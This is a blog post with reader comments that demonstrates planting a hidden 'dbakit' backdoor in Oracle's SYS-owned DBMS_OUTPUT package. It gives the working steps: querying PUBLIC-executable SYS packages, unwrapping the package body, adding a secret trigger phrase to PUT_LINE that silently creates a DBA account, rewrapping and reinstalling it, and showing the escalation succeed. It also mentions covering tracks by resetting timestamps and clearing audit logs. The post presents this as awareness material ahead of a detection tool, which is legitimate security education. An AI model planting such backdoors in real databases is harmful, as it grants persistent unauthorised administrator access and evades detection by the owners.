Injecting a simple dbakit (or rootkit) in Oracle PL/SQL objects

This post is also available in: Português

In this article, I will show how it is extremely simple to inject a hidden rootkit inside an Oracle database PL/SQL object (like a procedure) making it very hard to detect for almost all DBA's and Security Admins. It's important to understand and know how those virus works so we can always be prepared to combat them. Later in another article, I will also show how to detect and eliminate this type of threat.

UPDATE: Article about orachksum tool is ready.

Virus/malwares/rootkits are simple peace of code that are driven to evil. As they are program instructions, they can run in anyplace that accept codes, and when we are talking about Oracle Database, first thing that comes in mind are PL/SQL objects.

Rootkit is a simple "kit" to become "root".  In the Oracle DB world, that would be a hidden kit to become "sys", as this is the highest privilege within Oracle DB. More appropriate name here would be "syskit" or "dbakit".

So, if you've ever given DBA access to someone other than yourself, you have the chance to have a dbakit or another malicious code in your Oracle database. Can be an upset ex-employee, some temporarily service provider guy that needed this privilege for a very short time, the mad developer who asked DBA access to build his application (and you granted it!) or even a hacker that explored some leak and left an open door behind, so he could come back one day.

In other words, to inject the rootkit, the attacker must have had SYS privileges in some point of time. However, to use and explore it, he only needs CREATE SESSION, meaning that even if the current database administrator removes the privileged roles from him he can still become DBA.

So, thinking like a hacker, to deploy a PL/SQL level dbakit, he will follow 3 principles:

  1. Inject in an object that is accessible to everyone.
  2. Inject in an object that is owned by some powerful user.
  3. Make it hard to be detected.

 

Let's start.

First here I'm playing with 12.2.0.1 - Oct 2018 PSU/OJVM - Container Database - Oracle Linux 6.8

[oracle@localhost ~]$ sqlplus / as sysdba

SQL*Plus: Release 12.2.0.1.0 Production on Tue Dec 4 11:21:06 2018

Copyright (c) 1982, 2016, Oracle.  All rights reserved.


Connected to:
Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production

SQL> show pdbs

    CON_ID CON_NAME                       OPEN MODE  RESTRICTED
---------- ------------------------------ ---------- ----------
         2 PDB$SEED                       READ ONLY  NO
         3 PDB01                          READ WRITE NO

Rule 1 basically means that the attacker will try to find an object that has EXECUTE privileges to PUBLIC, while rule 2 means that this object needs to be owner by some powerful account, like a DBA or SYS.

We can get a list of some of those objects with the query:

SQL> set lines 30 pages 100
SQL> select distinct t1.object_name
  2  from   dba_procedures t1, dba_tab_privs t2
  3  where  t1.owner='SYS'
  4  and    t1.authid='DEFINER'
  5  and    t1.owner = t2.owner
  6  and    t1.object_name = t2.table_name
  7  and    t2.grantee='PUBLIC'
  8  and    t2.privilege='EXECUTE'
  9  and    t1.object_name like 'DBMS\_%' escape '\'
 10  order by 1;

OBJECT_NAME
-----------------------------
DBMS_APPLICATION_INFO
DBMS_APP_CONT_PRVT
DBMS_AUTO_TASK
DBMS_CDC_ISUBSCRIBE
DBMS_CDC_SUBSCRIBE
DBMS_CRYPTO_TOOLKIT
DBMS_CUBE_ADVISE_SEC
DBMS_DEBUG
DBMS_DESCRIBE
DBMS_LDAP_UTL
DBMS_LOB
DBMS_LOBUTIL
DBMS_LOGSTDBY_CONTEXT
DBMS_NETWORK_ACL_UTILITY
DBMS_OBFUSCATION_TOOLKIT
DBMS_OUTPUT
DBMS_PICKLER
DBMS_RANDOM
DBMS_RESULT_CACHE_API
DBMS_ROWID
DBMS_SNAPSHOT_UTL
DBMS_STANDARD
DBMS_TF
DBMS_TRACE
DBMS_UTILITY
DBMS_XA_XID
DBMS_XS_NSATTR

27 rows selected.

SQL>

So, all the packages above are owner by SYS and anyone with CREATE SESSION only can run them. They are also executed with SYS privileges, not the connect user. Let's use DBMS_OUTPUT, a very common one, for this exercise.

Getting its code...

SQL> set pages 0
SQL> set long 100000
SQL> select dbms_metadata.get_ddl('PACKAGE_BODY','DBMS_OUTPUT') from dual;

  CREATE OR REPLACE NONEDITIONABLE PACKAGE BODY "SYS"."DBMS_OUTPUT" wrapped
a000000
1
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
b
10c4 5d8
xj45EHIG5cl1aAF9cvrQRI+6G3Ewg0MreSAF3y8ZF7UY+Mm9LZmxHaeowB1QMzHz2Gk5oQ0I
vATni377JegRt8sdkoa/z5RsDNy6fk9gNi2iGdnHv3KQUwFtsrrvR9lDyz+dELVCtc7k0gg6
vXV2UOFn/4tE0a9kQpNvhVOq7TAd1StaR1r1hzszZbWy1hH/WLTNx+K48OYMjq2A8cXIv6ER
C7d0Wki6Js9CHVB5odntPIs8zvG0d/SzGT/Vlw1nPoTn9eKiAQ4KVW+oo23VGzNZ54VsFpCm
Fuqlp73tJC4/QUG1wEHm/5wwHU5MgA6OFPUxxxdE4ne9dwsY/9EVNN0BbC/fE/2OdLZlpjRF
SN6zuX2j4h2ic7w1aFEvY8gYGHZRhwYYXALCAQyCwK88sXSgqC3gmUaRf5sZfVesylTRUnJh
BWYPfI2czyBHtQXIOb52R1KQxyWlzLc688gq5jx8Nab3lvjIAezdO517dtl+Wk0c1Y6nvq1b
D1soJ3tr6ZWne1kWhTvlFKIN6NfALfom6eDhU6b8ORi0YPHV41X/Xx9p6hEyUYclFOiCCkAC
ft6HFR70kxCXuVOuT87XClF96xsbrKETs5XL9IV1TjWBheozMV5Vl0So039jJvYtR2M+QPrA
F7loiQjJD2ItZwKTfWbHL3KyJBRfMOCuCe3adoPNM1TjnvV0yNKhV+p5RvOJBK9t/4yhEegZ
JvUy5rJexLb2FeaaRPzybEePzXUrqHbgB3JC2+eDee/j3KgUScfaQeEzmdM6G2jkefdQhqNM
17anSnDxyQ2cFFKsF8ysCWa+E1OyZM2OM2OjZLyzKt9VAKw4PuV/DZfSsZkwU7W4qQdqByRB
+UbGlgeuvyjQqvc2z3N7TVuSpe75c3O2ehmTEbj4/uvugs96z2X8atIWlDJfaxLJnHcP3xau
cJaGJbgpPrOec5jme52pBcGY2qw8/S6CZhDn5Wj2kjagJhl2g1cepezNP0c4TlefQ7v6oQp+
CNW+kYcKk7l9zVZ1INdPudE87MbNCAmZdUGeOMfPF4qRliPS8ZqLQ4D9O5ioJ31IFL6wgiQT
I7DrJuMhZ7eEtiuTJsiX81PQjBn1hmPV7TTDTK/aQyP108bMXKx4f5Ur3BTZc9LLOuhUd0HM
b5bee/vvndGAZ1CjkLT7Rb2YTBqr6k7as+e7VVyHDpxYOkWUAb7w8s0TlRhESDynVV7DuavN
GpaVg6HffXQ7b80XAiE6A45QGg7au1oPy83RTGRKvjiMk6VLLL6JPxszz9gjTY52QRh3sdsb
BQt17SYNjEZ4VCDWFN6SP/rO+GwqhORnJIc3yn8iuzDkO3Sbnvfi0VIFrgN1SQA/IDicTvah
nT/s8sVlBYGcWIpzWmu90qpxc6n6459gjRqBEC5AE4emjwDXR+m4zCuOcV/baDBuaTy8YMex
rytkKIPVNMygE6Wg0OK1ukGDtSRzHbVrxqo=


SQL>

The code is obfuscated, but it's not hard do use some online options to undo that.

    1 PACKAGE BODY dbms_output AS
    2 
    3 
    4 
    5   ENABLED         BOOLEAN        := FALSE;
    6   BUF_SIZE        BINARY_INTEGER;
    7   LINEBUFLEN      BINARY_INTEGER := 0; 
    8   PUTIDX          BINARY_INTEGER := 1;
    9   GETIDX          BINARY_INTEGER := 2;
   10   GET_IN_PROGRESS BOOLEAN := TRUE;
   11   TYPE            CHAR_ARR IS TABLE OF VARCHAR2(32767) INDEX BY BINARY_INTEGER;
   12   BUF             CHAR_ARR;
   13   BUFLEFT         BINARY_INTEGER := -1;
   14 
   15 
   16 
   17 
   18 
   19 
   20 PROCEDURE KKXERAE(
   21    NUM BINARY_INTEGER
   22   ,MSG VARCHAR2
   23   ,KEEPERRORSTACK BOOLEAN DEFAULT FALSE);
   24 PRAGMA INTERFACE (C, KKXERAE);
   25 
   26 PROCEDURE RAISE_APPLICATION_ERROR(
   27    NUM BINARY_INTEGER
   28   ,MSG VARCHAR2
   29   ,KEEPERRORSTACK BOOLEAN DEFAULT FALSE)
   30 IS
   31 BEGIN
   32   KKXERAE(NUM, MSG, KEEPERRORSTACK);
   33 END RAISE_APPLICATION_ERROR;
   34 
   35   
   36   
   37   
   38   
   39   
   40   PROCEDURE ENABLE (BUFFER_SIZE IN INTEGER DEFAULT 20000) IS
   41     LSTATUS INTEGER;
   42     LOCKID  INTEGER;
   43   BEGIN
   44     ENABLED := TRUE;
   45     IF BUFFER_SIZE < 2000 THEN
   46       BUF_SIZE := 2000;
   47     ELSIF BUFFER_SIZE > 1000000 THEN
   48       BUF_SIZE := 1000000;
   49     ELSIF BUFFER_SIZE IS NULL THEN
   50       BUF_SIZE := -1;   
   51     ELSE
   52       BUF_SIZE := BUFFER_SIZE;
   53     END IF;
   54     BUFLEFT := BUF_SIZE;
   55   END;
   56 
   57   PROCEDURE DISABLE IS
   58   BEGIN
   59     ENABLED := FALSE;
   60 
   61     BUF.DELETE;         
   62     PUTIDX      := 1;
   63     BUF(PUTIDX) := '';
   64     GET_IN_PROGRESS := TRUE;
   65   END;
   66 
   67   PROCEDURE PUT_INIT IS
   68   BEGIN
   69     BUF.DELETE;
   70     PUTIDX := 1;
   71     BUF(PUTIDX) := '';
   72     LINEBUFLEN := 0;
   73     BUFLEFT := BUF_SIZE;
   74     GET_IN_PROGRESS := FALSE;
   75   END;
   76 
   77   PROCEDURE PUT(A VARCHAR2) IS
   78     STRLEN  BINARY_INTEGER;
   79   BEGIN
   80     IF ENABLED THEN
   81       IF GET_IN_PROGRESS THEN
   82         PUT_INIT;
   83       END IF;
   84 
   85 
   86 
   87 
   88       STRLEN := NVL(LENGTHB(A), 0);
   89       IF ((STRLEN + LINEBUFLEN) > 32767) THEN
   90         LINEBUFLEN := 0; BUF(PUTIDX) := '';
   91         RAISE_APPLICATION_ERROR(-20000, 'ORU-10028: line length overflow, ' ||
   92           'limit of 32767 bytes per line');
   93       END IF;
   94 
   95       IF (BUF_SIZE <> -1) THEN   
   96         IF (STRLEN > BUFLEFT) THEN
   97             RAISE_APPLICATION_ERROR(-20000, 'ORU-10027: buffer overflow, ' ||
   98               'limit of ' || TO_CHAR(BUF_SIZE) || ' bytes');
   99         END IF;
  100         BUFLEFT := BUFLEFT - STRLEN;
  101       END IF;
  102 
  103       BUF(PUTIDX) := BUF(PUTIDX) || A;
  104       LINEBUFLEN := LINEBUFLEN + STRLEN;
  105 
  106     END IF;
  107   END;
  108 
  109   PROCEDURE PUT_LINE(A VARCHAR2) IS
  110   BEGIN
  111     IF ENABLED THEN
  112       PUT(A);
  113       NEW_LINE;
  114     END IF;
  115   END;
  116 
  117   PROCEDURE NEW_LINE IS
  118   BEGIN
  119     IF ENABLED THEN
  120       IF GET_IN_PROGRESS THEN
  121         PUT_INIT;
  122       END IF;
  123       LINEBUFLEN := 0;
  124       PUTIDX := PUTIDX + 1;
  125       BUF(PUTIDX) := '';
  126     END IF;
  127   END;
  128 
  129   PROCEDURE GET_LINE(LINE OUT VARCHAR2, STATUS OUT INTEGER) IS
  130   BEGIN
  131     IF NOT ENABLED THEN
  132       STATUS := 1;
  133       RETURN;
  134     END IF;
  135 
  136     IF NOT GET_IN_PROGRESS THEN
  137       
  138       GET_IN_PROGRESS := TRUE;
  139 
  140       
  141       
  142       IF (LINEBUFLEN > 0) AND (PUTIDX = 1) THEN
  143         STATUS := 1;
  144         RETURN;
  145       END IF;
  146       
  147       GETIDX := 1;
  148     END IF;
  149 
  150     WHILE GETIDX < PUTIDX LOOP
  151       LINE := BUF(GETIDX);
  152       GETIDX := GETIDX + 1;
  153       STATUS := 0;
  154       RETURN;
  155     END LOOP;
  156     STATUS := 1;
  157     RETURN;
  158   END;
  159 
  160   PROCEDURE GET_LINES(LINES OUT CHARARR, NUMLINES IN OUT INTEGER) IS
  161     LINECNT INTEGER := 1;
  162     S       INTEGER;
  163   BEGIN
  164     IF NOT ENABLED THEN
  165       NUMLINES := 0;
  166       RETURN;
  167     END IF;
  168     WHILE LINECNT <= NUMLINES LOOP
  169       GET_LINE(LINES(LINECNT), S);
  170       IF S = 1 THEN                     
  171         NUMLINES := LINECNT - 1;
  172         RETURN;
  173       END IF;
  174       LINECNT := LINECNT + 1;           
  175     END LOOP;
  176     NUMLINES := LINECNT - 1;
  177     RETURN;
  178   END;
  179 
  180   PROCEDURE GET_LINES(LINES OUT DBMSOUTPUT_LINESARRAY, NUMLINES IN OUT INTEGER)
  181   IS
  182     LINECNT INTEGER := 1;
  183     S       INTEGER;
  184     N       INTEGER;
  185   BEGIN
  186     IF NOT ENABLED THEN
  187       NUMLINES := 0;
  188       RETURN;
  189     END IF;
  190 
  191     LINES := DBMSOUTPUT_LINESARRAY();
  192     LINES.DELETE;
  193 
  194     IF NUMLINES < BUF.COUNT THEN
  195       N := NUMLINES;
  196     ELSE
  197       N := BUF.COUNT;
  198     END IF;
  199 
  200     LINES.EXTEND(N);
  201     WHILE LINECNT <= N LOOP
  202       GET_LINE(LINES(LINECNT), S);
  203       IF S = 1 THEN                     
  204         NUMLINES := LINECNT - 1;
  205         RETURN;
  206       END IF;
  207       LINECNT := LINECNT + 1;           
  208     END LOOP;
  209     NUMLINES := LINECNT - 1;
  210     RETURN;
  211   END;
  212 
  213 END;

Now with the code clear to be read, an attacker could inject the dbakit on it. Let's say he changes the PUT_LINE function, one of the most common ones, and add something like that:

  PROCEDURE PUT_LINE(A VARCHAR2) IS
  BEGIN
    IF ENABLED THEN
      IF (a = 'shh! keep it secret!')
      THEN
        BEGIN
          NEW_LINE;
          execute immediate 'create user c##rj identified by oracle';
          PUT('User c##rj created.');
          NEW_LINE;
        EXCEPTION WHEN OTHERS THEN NULL;
        END;
        BEGIN
          NEW_LINE;
          execute immediate 'grant dba to c##rj';
          PUT('User c##rj granted DBA.');
          NEW_LINE;
        EXCEPTION WHEN OTHERS THEN NULL;
        END;
      END IF;
      PUT(A);
      NEW_LINE;
    END IF;
  END;

What the code above will do is detect if someone is trying to spool the exact sentence "shh! keep it secret!" and if so, it will create a CDB account named c##rj and grant DBA to it. Off course that the attacker doesn't want any error printed on screen if it fails, so an EXCEPTION block goes there to deal with it.

The dbakit is ready. Now, next step is to inject it back to the database, but he will probably wrap it again before:

[oracle@localhost ~]$ wrap iname=dbms_output_mod.sql 

PL/SQL Wrapper: Release 12.2.0.1.0- 64bit Production on Tue Dec 04 13:28:57 2018

Copyright (c) 1993, 2009, Oracle.  All rights reserved.

Processing dbms_output_mod.sql to dbms_output_mod.plb
[oracle@localhost ~]$ cat dbms_output_mod.plb
CREATE PACKAGE BODY "SYS"."DBMS_OUTPUT" wrapped 
a000000
1
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
b
12a3 6a7
9KQrttwzNgyjF4mRkR5nhXBDf1cwg0NUea4FWi+8cuQY3vioYefjwCVSFY7eC66sAguA9phG
+NMI4PK5V03mg+uhcwh4+PwNC7Cgv3P1b+EXv4dBWELJn2pfAsF+rHyXUQwwpPDoOmbVbZOT
NDmnu1AdqT79bAQ3QmCTp8oM18aGv3zJoUr79EqXCGbQqoTVq7BfD9EGoN29wKj32z7xw6ze
nEZ8ny+m+vOsV+wd9brTwCACvr0/LoppbbOD4NQDvcZ6xKhQP68Mve1TbqhXrjDUzqxSy1LL
AlqmkQswclNUJNI/InqSQ4UHV/C4y4zZSmc+Wn3CsP7Tdh+6abvM9fyoR6hgbIBXJE/vF333
+1rZ3gxtKwfrz+CoGHLB44JdeoZCNQFhzIBXyQEJTcI6+75wtz4dOOPQk+OPAoSG8GGk526V
rdG0fqfbqNUGVkxaTrUqGpBXmojuFNyhaqIuiwdnPOeTajb72yH8hG/n4cQ//LiOA6+MI1/3
1YvUPnV7BGkHW9JpLcfzGxRdYRbHuCcubZMwHF5tUzZQ+3eyXUvwFMaPRQD3hw5XhGOG0vHK
f80+Klmbp4s+NADIrk/CGbnrST+wAfHS3ra2Negu/OAHRgtZ+A4j2wuBSE3iXdgv9IUldw3j
BnFvhMm+gr8jlwQD+PMbVHBwmFpIU8dqdL0+uSakD9jLOSe+AG9u4XnhFBDTSm3f5lsYbY8K
/5ChFrAZYfUy5g1exLYKxn6ak/yLRJzWxAujMbjjpBvBy+8RDfDdMUQTbmdkBJ5NttsILlPr
/vSAZLcGfl1/qudbP2kSCHpiUx4UhUnxHvQFpYPcOA/llet4RTORvyg4yAjA0KNDpbELMFQi
K6VpAD9UmmrrwScy/qXSH6HdnJbagWcsela1ceLuKdw11h6dsT2Cz9grCRCPIBpRSrOfcvo+
gZyely+0hX0hbqvyoOa16MhKSu6S61WkNR7w6Ij3tEZmuueSVKC8VHZNVx6l7M28+jg6RbDZ
mre3KzFo0F3xiDvJvpCumDzP9vn1vy1QaH7QH6CmPvMmQbu7D68sXIHzFpNyPdflo52rzqPl
zBqDGiMJNMj/HReywQSnRNftKY6MdbMFqVaHO9XO0llEmEJOyYHaViAKxoGbSJNVCZLu3jIy
TmmycdVR7lsBOw5ZaLmYMvyb0E4vF6x7uKhXdfPP4qO6HJ7wZlu13+IoCgrGKmiHD6+Soe5o
q9aOsOOM8/ioUiFC1YDogSXSS/BpYJuVFJLirYMAuyd9ktuzIJiLfSkAz2HpFKaXb/c4s8T7
BT6EUL8sLU2u0OK5oQNR1TA7cU9fIRVLFkKD212jMfFWc7D+dCAYrS6KkQiJyyxwXerB44P4
efZQn6lIFUgfJtQ9NDkhFZhXbbYhZUnoSKGn124JE5NN21Z49tmS1z6/8DMOlpUVoUvriKNi
g3IYcYuuzGfIrLwldJVVDzslzUK3/cXsfA0eStlodkIAv/ccxZMHBWYqKsz63wTcGT2D3BX9
2Oo18SFMrsD+I/GZQHVOI04tNlIIiMYSlgHIzLj16fQFP+yVaPwIupnV+SgO+bIOYU2FisKd
R5G7Ep4uDqq4gWIbPoOIjcGxsQhoh11ipoYpohlOatgaj3EUm+YKAqwzxBrDv0slHtZh0E6s
K+13u4wetaewBv6utaZbX9/C

/
[oracle@localhost ~]$

Changing the first line to CREATE OR REPLACE NONEDITIONABLE PACKAGE BODY "SYS"."DBMS_OUTPUT" wrapped
and injecting it back to the database:

SQL> @dbms_output_mod.plb

Package body created.

SQL> show errors
No errors.
SQL>

And now testing the dbakit:

SQL> select username from dba_users where username='C##RJ';

no rows selected

SQL> set serverout on
SQL> exec dbms_output.enable;

PL/SQL procedure successfully completed.

SQL> exec dbms_output.put_line('Hello');
Hello

PL/SQL procedure successfully completed.

SQL> exec dbms_output.put_line('Bye');
Bye

PL/SQL procedure successfully completed.

SQL> exec dbms_output.put_line('shh! keep it secret!');
User c##rj created.
User c##rj granted DBA.
shh! keep it secret!

PL/SQL procedure successfully completed.

SQL> select username from dba_users where username='C##RJ';

USERNAME
--------------------------------------------------------------------------------
C##RJ

SQL> conn c##rj/oracle
Connected.

The dbakit is ready. Now the only thing a user needs to do to get a DBA access if he has only the CREATE SESSION privilege is execute: exec dbms_output.put_line('shh! keep it secret!');

Just to make it harder to detect, the attacker will probably revert back the modification timestamp of the package body change in obj$, clean audit logs and apply some other tricks to clean his traces.

In next article I will talk about the orachksum utility and how to use it to detect any modified oracle code inside your database.

UPDATE: Article about orachksum tool is ready.

Have you enjoyed? Please leave a comment or give a 👍!

2 comments

    • Josh on January 30, 2019 at 19:11
    • Reply

    Nice explanation and concept, but there is a major flaw.

    This:
    CREATE PACKAGE BODY "SYS"

    Followed by this:
    SQL> @dbms_output_mod.plb

    You cannot create or modify another user object with a single user without the proper permissions (specially a SYS object). In order to do the injection" one needs the DBA role.
    Why bother then? Just add your own DBA user.

    1. I think you didn't get the point. Rootkit main objectives are to be hidden and leave an opened backdoor. As told in the article, to perform this actions you must have admin privs.

Leave a Reply

Your email address will not be published.